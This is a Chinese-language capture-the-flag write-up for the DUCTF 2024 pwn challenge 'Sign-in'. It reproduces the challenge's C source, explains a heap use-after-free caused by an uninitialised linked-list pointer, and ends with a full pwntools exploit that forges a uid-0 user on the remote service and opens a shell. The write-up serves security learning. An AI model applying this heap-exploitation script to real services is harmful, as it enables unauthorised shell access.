DUCTF2024复现-Sign-in

https://play.duc.tf/challenges

image-20240708113645959

no pie

源码

(就喜欢这种给源码的比赛)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/random.h>

typedef struct {
long uid;
char username[8];
char password[8];
} user_t;

typedef struct user_entry user_entry_t;
struct user_entry {
user_t* user;
user_entry_t* prev;
user_entry_t* next;
};

user_entry_t user_list;
long UID = 1;

void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}

int menu() {
int choice;
puts("1. Sign up");
puts("2. Sign in");
puts("3. Remove account");
puts("4. Get shell");
printf("> ");
scanf("%d", &choice);
return choice;
}

void sign_up() {
user_t* user = malloc(sizeof(user_t));
user_entry_t* entry = malloc(sizeof(user_entry_t));
user->uid = UID++;
printf("username: ");
read(0, user->username, 8);
printf("password: ");
read(0, user->password, 8);
entry->user = user;

user_entry_t* curr = &user_list;
while(curr->next) {
curr = curr->next;
}
entry->prev = curr;
curr->next = entry;
}

void remove_account(int uid) {
user_entry_t* curr = &user_list;
do {
if(curr->user->uid == uid) {
if(curr->prev) {
curr->prev->next = curr->next;
}
if(curr->next) {
curr->next->prev = curr->prev;
}
free(curr->user);
free(curr);
break;
}
curr = curr->next;
} while(curr);
}

long sign_in() {
char username[9] = {0};
char password[9] = {0};
printf("username: ");
read(0, username, 8);
printf("password: ");
read(0, password, 8);
user_entry_t* curr = &user_list;
do {
if(memcmp(curr->user->username, username, 8) == 0 && memcmp(curr->user->password, password, 8) == 0) {
printf("Logging in as %s\n", username);
return curr->user->uid;
}
curr = curr->next;
} while(curr);
return -1;
}

int main() {
init();

long uid = -1;
user_t root = {
.uid = 0,
.username = "root",
};
if(getrandom(root.password, 8, 0) != 8) {
exit(1);
}

user_list.next = NULL;
user_list.prev = NULL;
user_list.user = &root;

while(1) {
int choice = menu();
if(choice == 1) {
sign_up();
} else if(choice == 2) {
uid = sign_in();
if(uid == -1) {
puts("Invalid username or password!");
}
} else if(choice == 3) {
if(uid == -1) {
puts("Please sign in first!");
} else {
remove_account(uid);
uid = -1;
}
} else if(choice == 4) {
if(uid == 0) {
system("/bin/sh");
} else {
puts("Please sign in as root first!");
}
} else {
exit(1);
}
}
}

一个双向链表,插入的时候entry->next没置null

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void sign_up() {
...
entry->prev = curr;
curr->next = entry;
}

void remove_account(int uid) {
user_entry_t* curr = &user_list;
do {
if(curr->user->uid == uid) {
if(curr->prev) {
curr->prev->next = curr->next;
}
if(curr->next) {
curr->next->prev = curr->prev;
}
free(curr->user);
free(curr);
break;
}
curr = curr->next;
} while(curr);
}

注册了两个帐户

image-20240708120222456

image-20240708120232203

image-20240708120146663

image-20240708122630615

因为bins是头插法,所以按照 free(curr->user); free(curr); 的顺序free,再按照 ‘user_t user = malloc(sizeof(user_t)); user_entry_t entry = malloc(sizeof(user_entry_t));’** 的顺序申请,原来的 user_t 就会被申请为新entry的 user_entry,而插入的时候entry->next没置null,所以还是原来user_t* user的password

申请 username, passwd = eeee, ffff并释放,再申请 username, passwd = gggg, hhhh 如下:

image-20240708123919324

相当于给多添加了一个user,这个user的uid就是我们free的passwd中的指针指向的值

所以我们在密码处伪造一个指向伪造 user_t 的 uid 的指针,并且这个地址附近都是0(或者可控都行,只要uid等于0,知道密码应该是多少就行)

image-20240708133201013

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

"""
When removing an account, the curr->user is free'd followed by the curr user
list entry. When signing up an account, the user struct is allocated, followed
by the user list entry struct. The list entry is appended to the end of the
linked list. In the sign up function, the entry->next is not initialised to
NULL, so it will retain the value of password from a previously free'd user
struct. By signing up a user with a password pointing to a pointer containing 3
zero QWORDs (or one zero QWORD followed by two known values), we can sign in as
a user with uid 0 with an empty username and password.

To find a suitable password, we can search memory in fixed address regions
(there is no PIE) and look for something that fits the conditions.
"""

# context.log_level = 'debug'
# if os.getenv('RUNNING_IN_DOCKER'):
# context.terminal = ['/usr/bin/tmux', 'splitw', '-h', '-p', '75']
# else:
# gdb.binary = lambda: 'gef'
# context.terminal = ['alacritty', '-e', 'zsh', '-c']
context(os="linux", arch="amd64")


sla = lambda r, s: conn.sendlineafter(r, s)
sl = lambda s: conn.sendline(s)
sa = lambda r, s: conn.sendafter(r, s)
se = lambda s: conn.send(s)
ru = lambda r, **kwargs: conn.recvuntil(r, **kwargs)
rl = lambda : conn.recvline()
uu32 = lambda d: u32(d.ljust(4, b'\x00'))
uu64 = lambda d: u64(d.ljust(8, b'\x00'))

def sign_up(username, password):
sla(b'> ', b'1')
sa(b'username: ', username)
sa(b'password: ', password)

def sign_in(username, password):
sla(b'> ', b'2')
sa(b'username: ', username)
sa(b'password: ', password)

def remove_account():
sla(b'> ', b'3')

def get_shell():
sla(b'> ', b'4')

exe = ELF("/sign-in")

zero_ptr = 0x402eb8

conn = remote('2024.ductf.dev', 30022)
# conn = process([exe.path])
# gdb.attach(conn, 'dump binary memory mem.bin 0x400000 0x405000')

sign_up(b'x', p64(zero_ptr))
sign_in(b'x', p64(zero_ptr))
remove_account()
sign_up(b'x', b'y')
sign_in(p64(0), p64(0))
get_shell()

conn.interactive()